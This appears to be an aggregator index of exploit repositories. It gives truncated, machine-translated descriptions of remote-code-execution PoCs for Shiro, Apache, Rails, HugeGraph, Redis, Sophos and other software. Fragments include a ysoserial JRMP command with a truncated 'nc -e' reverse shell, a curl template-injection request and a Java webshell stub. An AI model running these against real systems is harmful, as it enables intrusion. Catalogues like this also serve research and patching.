cve-2020-0618

CVE-2020-0618 Honeypot Rileva e registra i tentativi di sfruttare CVE-020-0618 RCE in SQL Reporting Services Serve contenuti e header come farebbe SSRS, per aumentare le probabilità di indicizzazione sui motori di ricerca es. Google, Shodan, ecc. Basato sull'ottimo lavoro di MDSec e x1sec...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 Remotecodeausführung ⚠️ Haftungsausschluss Dieses Repository ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die hier bereitgestellten Informationen und Codes können in kontrollierten Umgebungen wie privaten Labormaschinen verwendet werden...

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 Esecuzione Remota di Codice ⚠️ Disclaimer Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati , come macchine di laboratorio private. L'uso non...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ 면책 조항 이 저장소는 교육 및 연구 목적으로만 제공됩니다. 여기 제공된 정보와 코드는 통제된 환경예: 개인 실험실 머신에서만 사용할 수 있습니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 대해 이 코드를 무단으로 사용하는 것은 불법적이고 비윤리적입니다. 저자는 이로 인한 어떠한 오용이나 손해에 대해서도 책임지지 않습니다. 🔍 취약점 정보 CVE-2018-17179 는 널리 사용되는 오픈 소스 전자 의무 기록 및 진료 관리 소프트웨어인 OpenEMR 에 영향...

ThinkCMF_getshell

Vulnerabilità di inclusione arbitraria di contenuti nel framework ThinkCMFgetshell Un attaccante remoto, senza richiedere alcun privilegio, può eseguire codice arbitrario sul server remoto inviando un pacchetto di richiesta appositamente costruito. utilizzo python: + python ThinkCMFgetshell.py...

SHIRO-721

SHIRO-721 Vulnerabilità RCE del Padding Oracle di RememberMe 0x00 Introduzione: Il RememberMe del cookie è crittografato tramite AES-128-CBC, il che lo rende vulnerabile agli attacchi Padding Oracle. Un attaccante può utilizzare un cookie RememberMe valido come prefisso per l'attacco Padding...

PoC_CVE-2016-2098_Rails42

Ein PoC für CVE-2016-2098 Rails 4.2.5.1 View enthält anfälligen Code app/views/poc/render1.html.erb folgender Befehl führt zu Remotecodeausführung $ curl ':3000/poc/render1?template\inline='...

CVE-2024-27348

CVE-2024-27348 🪶 CVE-2024-27348 प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट RCE Apache HugeGraph सर्वर में अप्रमाणित उपयोगकर्ता Apache HugeGraph सर्वर में Groovy इंजेक्शन के माध्यम से OS कमांड निष्पादित कर सकते हैं। उपयोग 🛠 एकाधिक लक्ष्यों का शोषण ☣️ root@kitploit: python3 CVE-2024-27348.py -f targets.txt -c...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 python3 check 0708 Esiste una vulnerabilità di esecuzione di codice in remoto in Remote Desktop Services – precedentemente noti come Servizi Terminal – quando un utente malintenzionato non autenticato si connette al sistema di destinazione utilizzando RDP e invia...

st2-048

Vulnerabilità di esecuzione di codice remoto St2-048 Apache Struts 2 possibile RCE nell'app Struts Showcase nell'esempio del plugin Struts 1 nella serie Struts 2.3.x http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 Utilizzo: root@kitploit: python...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead webserver pre v5.1.5 RCE PoC CVE-2021-42342 Un recente bug in Goahead Webserver è stato scoperto da William Bowling che porta a RCE sul server sfruttato. Il problema esiste nelle versioni precedenti alla 5.1.5 che, secondo Shodan copre circa 2.8mio server su internet. Un CVE è ora...

Redis-RCE

Redis-RCE esecuzione remota di codice per redis4 e redis5 codice python da https://github.com/Ridter/redis-rce Esecuzione del comando riuscita caricando il file so, che estende il nuovo comando system.exec strings explin.so |grep sys root@kitploit: system system.exec syserrlist.h sysnerr syserrli...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS Versionen 4.33.0 - Remote Code Execution Beschreibung In Versionen 4.33.0 von Statamic CMS, bei denen das Frontend ein Formular mit aktivem Datei-Upload enthält, ist es möglich, PHP-Dateien zu senden, die so erstellt wurden, dass sie wie Bilder aussehen, unabhängig v...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar da https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget USO EXP...

cve-2021-20837-poc

cve-2021-20837-poc PoC per la CVE-2021-20837 : RCE in MovableType Questa vulnerabilità è stata scoperta con la collaborazione di The.Criminal.One. Questo PoC è stato sviluppato da lui. ARTICOLO DEL BLOG: https://nemesis.sh/posts/movable-type-0day/...

CVE-2018-7750

CVE-2018-7750 un approccio RCE esecuzione remota di comandi per CVE-2018-7750 Titolo Exploit: Paramiko 2.4.1 - Esecuzione Remota di Codice Data: 2018-11-06 Autore Exploit: jm33-ng Homepage del Venditore: https://www.paramiko.org Link Software:...

CVE-2021-20837

CVE-2021-20837 XMLRPC - RCE in MovableTypePoC...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc sophos webmin portal auth bypass e rce tutto in un unico script; La vulnerabilità colpisce Sophos Firewall v18.5 MR3 18.5.3 e versioni precedenti Mitigazione: aggiorna all'ultima versione il prima possibile...